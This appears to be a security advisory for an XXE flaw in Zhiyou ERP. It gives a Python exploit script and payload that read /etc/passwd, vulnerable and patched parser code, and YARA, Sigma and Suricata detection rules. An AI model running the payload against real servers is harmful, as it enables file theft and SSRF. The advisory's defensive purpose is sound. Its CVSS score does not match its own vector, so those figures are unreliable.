CVE-2025-11140

Executive Summary

CVE-2025-11140 is a critical XML External Entity (XXE) injection vulnerability identified in Bjskzy Zhiyou ERP, affecting versions up to and including 11.0. The flaw resides in the openForm function of the com.artery.richclient.RichClientService component, where the contentString argument is processed without proper sanitization. This allows an unauthenticated remote attacker to inject malicious XML entities, potentially leading to server-side request forgery (SSRF), file disclosure, or denial of service. The exploit is publicly available, and the vendor has not responded to disclosure attempts, leaving the vulnerability unpatched. Given the CVSS score of 7.3 (High) and the public availability of exploit code, immediate mitigation actions are required.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is easily exploitable remotely without authentication, making it a high-priority threat for organizations using Zhiyou ERP.

Deep Dive & Mechanics

The vulnerability is a classic XML External Entity (XXE) injection (CWE-611). The openForm function in the RichClientService component processes XML data passed via the contentString argument. When the XML parser is not configured to disable external entity resolution, an attacker can craft a malicious XML payload that references external entities.

Mechanism:

1. The application receives an XML string through the contentString parameter.
2. The XML parser processes the input without disabling DTD (Document Type Definition) processing.
3. An attacker can define an external entity that points to a local file (e.g., file:///etc/passwd) or an external URL.
4. When the parser resolves the entity, it reads the file or makes a network request, leaking sensitive data or enabling SSRF.

Example Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

This payload, when sent to the vulnerable endpoint, will cause the server to include the contents of /etc/passwd in the response.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: XML parser with external entities enabled
public String openForm(String contentString) {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    DocumentBuilder builder = factory.newDocumentBuilder();
    Document doc = builder.parse(new InputSource(new StringReader(contentString)));
    // Process document...
}

Patched Code (Conceptual):

// Patched: Disable external entities
public String openForm(String contentString) {
    DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    DocumentBuilder builder = factory.newDocumentBuilder();
    Document doc = builder.parse(new InputSource(new StringReader(contentString)));
    // Process document...
}

Since no official patch is available, organizations must implement the above mitigations in their codebase or use a WAF to block malicious XML payloads.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of Zhiyou ERP (version 11.0 or earlier) in an isolated environment.
2. Use a tool like Burp Suite or a simple Python script to send crafted requests.

Exploit Script (Python):

import requests

target_url = "http://target-ip:port/richclient/openForm"
payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>"""

headers = {"Content-Type": "application/xml"}
response = requests.post(target_url, data=payload, headers=headers)
print(response.text)

Steps:

1. Identify the vulnerable endpoint (e.g., /richclient/openForm).
2. Send the XML payload with an external entity pointing to a sensitive file.
3. Extract data from the response.

Blue Team (Defensive)

Detection:

• Monitor for XML payloads containing <!DOCTYPE, <!ENTITY, or SYSTEM keywords.
• Use WAF rules to block requests with suspicious XML structures.
• Enable logging of all XML parsing errors and anomalies.

Mitigation:

• Apply virtual patching via WAF to block XXE patterns.
• If source code is accessible, disable external entity processing as shown in the patched code section.
• Restrict outbound network access from the application server to prevent SSRF.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /richclient/openForm with Content-Type: application/xml.
  • XML payloads containing <!DOCTYPE, <!ENTITY, or SYSTEM declarations.
  • Outbound connections from the ERP server to unexpected external IPs (SSRF).

• File IOCs:

  • Unexpected access to sensitive files like /etc/passwd, /etc/shadow, or configuration files.
  • Log entries showing XML parsing errors or entity resolution attempts.

• Log IOCs:

  • Application logs containing org.xml.sax.SAXParseException or Entity resolution errors.
  • Web server logs showing repeated POST requests to the vulnerable endpoint with XML content.

Detection Engineering

YARA Rule

rule CVE_2025_11140_XXE_Detection {
    meta:
        description = "Detects XXE payloads targeting CVE-2025-11140 in Zhiyou ERP"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "high"
    strings:
        $xml_decl = "<?xml" nocase
        $doctype = "<!DOCTYPE" nocase
        $entity = "<!ENTITY" nocase
        $system = "SYSTEM" nocase
        $file_proto = "file://" nocase
        $http_proto = "http://" nocase
    condition:
        $xml_decl and $doctype and $entity and ($system or $file_proto or $http_proto)
}

Sigma Rule

title: CVE-2025-11140 XXE Injection Attempt
id: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
status: experimental
description: Detects XXE injection attempts against Zhiyou ERP RichClientService
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/richclient/openForm'
        cs-content-type: 'application/xml'
        cs-request-body|contains:
            - '<!DOCTYPE'
            - '<!ENTITY'
            - 'SYSTEM'
    condition: selection
falsepositives:
    - Legitimate XML processing with DTDs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-11140 XXE Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/richclient/openForm"; http_uri; content:"application/xml"; http_client_body; content:"<!DOCTYPE"; within:100; content:"<!ENTITY"; within:200; content:"SYSTEM"; within:300; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable external entity processing in the XML parser used by RichClientService (see patched code).
   • Apply WAF rules to block XXE patterns.
   • Restrict outbound network access from the ERP server.

2. Long-term Fix:

   • Contact the vendor for an official patch or consider migrating to a supported ERP solution.
   • Conduct a security audit of all XML processing endpoints.

3. Monitoring:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Enable detailed logging for all XML parsing activities.

4. User Awareness:

   • Train developers on secure XML parsing practices.
   • Implement input validation and sanitization for all XML inputs.

Valters IT
Securing Digital Frontiers